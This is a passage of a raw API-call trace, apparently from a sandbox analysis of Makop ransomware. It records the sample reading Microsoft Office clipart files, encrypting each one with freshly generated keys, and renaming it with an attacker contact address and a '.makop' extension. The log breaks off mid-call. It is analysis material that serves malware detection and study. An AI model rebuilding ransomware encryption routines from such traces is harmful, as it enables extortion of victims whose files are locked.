[0116.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.675] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.676] CloseHandle (hObject=0xf0) returned 1 [0116.676] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0116.676] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0116.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.676] GetProcessHeap () returned 0x48a0000 [0116.677] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.677] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0116.681] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.681] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.681] GetProcessHeap () returned 0x48a0000 [0116.681] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.681] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.681] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.681] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.682] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.682] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.682] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14c2, lpOverlapped=0x0) returned 1 [0116.684] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0) returned 1 [0116.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14d0, lpOverlapped=0x0) returned 1 [0116.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.684] SetEndOfFile (hFile=0xf0) returned 1 [0116.691] GetProcessHeap () returned 0x48a0000 [0116.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.691] GetProcessHeap () returned 0x48a0000 [0116.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.691] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.692] CloseHandle (hObject=0xf0) returned 1 [0116.692] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0116.693] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0116.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.693] GetProcessHeap () returned 0x48a0000 [0116.693] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.693] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.693] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.693] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0116.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.697] GetProcessHeap () returned 0x48a0000 [0116.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.698] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.699] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.699] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.699] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.699] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b16, lpOverlapped=0x0) returned 1 [0116.700] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b20) returned 1 [0116.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.701] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b20, lpOverlapped=0x0) returned 1 [0116.701] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.701] SetEndOfFile (hFile=0xf0) returned 1 [0116.707] GetProcessHeap () returned 0x48a0000 [0116.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.707] GetProcessHeap () returned 0x48a0000 [0116.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.707] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.709] CloseHandle (hObject=0xf0) returned 1 [0116.709] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0116.709] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0116.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.711] GetProcessHeap () returned 0x48a0000 [0116.711] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.711] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.711] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.711] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0116.715] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.715] GetProcessHeap () returned 0x48a0000 [0116.715] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.715] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.716] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.716] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.716] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa442, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa442, lpOverlapped=0x0) returned 1 [0116.718] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa450, dwBufLen=0xa450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa450) returned 1 [0116.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa450, lpOverlapped=0x0) returned 1 [0116.719] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.720] SetEndOfFile (hFile=0xf0) returned 1 [0116.727] GetProcessHeap () returned 0x48a0000 [0116.727] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.727] GetProcessHeap () returned 0x48a0000 [0116.727] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.727] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.728] CloseHandle (hObject=0xf0) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0116.729] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0116.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.730] GetProcessHeap () returned 0x48a0000 [0116.730] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.730] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0116.735] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.735] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.735] GetProcessHeap () returned 0x48a0000 [0116.735] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.735] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.735] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.735] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.735] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.736] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.737] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x136a, lpOverlapped=0x0) returned 1 [0116.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0116.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 